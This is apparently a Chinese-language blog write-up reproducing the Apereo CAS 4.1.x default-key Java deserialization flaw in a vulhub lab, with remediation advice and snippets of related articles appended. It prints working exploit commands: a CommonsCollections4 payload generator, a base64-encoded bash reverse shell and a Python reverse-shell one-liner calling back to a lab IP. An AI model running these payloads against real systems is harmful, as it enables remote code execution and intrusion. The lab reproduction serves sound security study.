<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apereo cas 密鑰硬編碼反序列化漏洞

    一顆小胡椒2022-11-22 10:21:11

    前言

    最近也是在工作中遇到這個漏洞,之前沒接觸過,而且這個漏洞也比較老了,是2016年發現的,并且是基于反序列化產生的,所以就打算學習并且做一下復現,如果以后再遇到的時候能夠知道該如何分析。

    0x01 Apereo cas簡介

    Apereo CAS 單點登陸系統是Java服務器環境下使用較為廣泛的單點登陸系統。

    CAS 全程Central Authentication Service(中心認證服務),是一個單點登錄協議,Apereo CAS是實現該協議的軟件包。

    單點登錄定義

    單點登錄(Single sign on),英文名稱縮寫SSO,SSO的意思就是在多系統的環境中,登錄單方系統,就可以在不用再次登錄的情況下訪問相關受信任的系統,也就是說只要登錄一次單體系統就可以。

    0x02 漏洞簡介

    最早發現此漏洞的文章:https://apereo.github.io/2016/04/08/commonsvulndisc/

    漏洞成因是在4.1.7版本以前一直存在一個默認密鑰問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,從而執行任意命令。

    Apereo CAS 4.1.X~4.1.6 默認密鑰

    Apereo CAS 4.1.7~4.2.X KEY隨機生成

    0x03漏洞利用與復現

    Webflow中使用了默認密鑰changeit,所以我們就可以利用默認密鑰生成序列化對象。

    環境:安裝了vulhub的kali

    工具:apereo-cas-attack、burpsuite

    Apereo-cas-attaack:使用ysoserial的CommonsCollections4生成加密后的Payload

    啟動vulhub中的Apereo cas環境

    cd /vulhub/apereo-cas/4.1-rce

    docker-compose up -d //啟動docker環境

    使用工具生成payload

    java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/sucess"

    進入主頁并抓包,替換execution

    http://192.168.0.112:8080/cas/login

    進入容器,在/tmp目錄創建了success文件,說明成功利用

    docker exec -it <容器ID> /bin/bash

    docker ps -a //查找容器ID,一串字符串的就是ID

    其他利用方式

    ①反彈shell,bash -i >& /dev/tcp/ip/port 0>&1,payload如下

    java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c  {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMy83Nzc3IDA+JjE=} | {base64,-d} | {bash,-i}"
    

    python生成的payload如下,然后直接替換execution后即可反彈成功:

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.3',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
    

    ②回顯與檢測

    目的:網站所在系統環境無法出網,回顯可以直接看到命令執行的返回內容。

    使用魔改工具ysoserial-mangguogan-master,Payload如下,然后將編碼后的數據替換execution,并且在請求頭中添加cmd:whoami等命令,查看回顯。

    java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonsCollections4
    

    參考: 反彈shell  https://www.cnblogs.com/Qixiansheng/p/15474651.html

    回顯與檢測 https://xz.aliyun.com/t/8260?page=5

    附:kali的vulhub搭建

    https://www.cnblogs.com/lxfweb/p/12952490.html

    0x04漏洞危害

    任意命令執行

    0x05漏洞修復

    修改默認密鑰
    升級Apereo CAS版本

    注意:漏洞利用成功響應頭回顯是500,并且響應體中會有正常的數據。

    序列化cas
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01 Apereo cas簡介Apereo CAS 單點登陸系統是Java服務器環境下使用較為廣泛的單點登陸系統。CAS 全程Central Authentication Service,是一個單點登錄協議,Apereo CAS是實現該協議的軟件包。Apereo CAS 4.1.X~4.1.6 默認密鑰Apereo CAS 4.1.7~4.2.X KEY隨機生成0x03漏洞利用與復現Webflow中使用了默認密鑰changeit,所以我們就可以利用默認密鑰生成序列化對象。
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    介紹實戰中由于各種情況,可能會對反序列化Payload的長度有所限制,因此研究反序列化Payload縮小技術是有意義且必要的本文以CommonsBeanutils1鏈為示例,
    接著定義 Person 類實現前面的接口:public?XStream 序列化是調用?unmarshall : xml-> object 解碼兩個重要的實現類:?Mapper 映射器簡單來說就是通過 mapper 獲取對象對應的類、成員、Field 屬性的 Class 對象,賦值給 XML 的標簽字段。Converter 轉換器XStream 為 Java 常見的類型提供了 Converter 轉換器。EventHandler 類EventHandler 類為動態生成事件偵聽器提供支持,這些偵聽器的方法執行一條涉及傳入事件對象和目標對象的簡單語句。EventHandler 類是實現了 InvocationHandler 的一個類,設計本意是為交互工具提供 beans,建立從用戶界面到應用程序邏輯的連接。
    01目錄掃描分析代碼這是一道很好反序列化字符串溢出的題目,首先打開容器看到這是一個上傳點先進行目錄掃描,
    為解決實驗室,編輯會話cookie中的序列化對象以利用此漏洞并獲得管理權限。然后,刪除 Carlos 的帳戶。您可以使用以下憑據登錄自己的帳戶:wiener:peter解決方案此實驗與權限提升有關,我們使用bp抓包,重點關注cookie1.登錄,查看我的賬戶頁面,bp發現cookie內容是序列化的。在Repeater中替換cookie,已經有了admin權限。
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    在Shiro反序列化漏洞修復的過程中,如果僅進行Shiro的版本升級,而沒有重新生成密鑰,那么AES加密的默認密鑰扔硬編碼在代碼里,仍然會存在反序列化風險。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类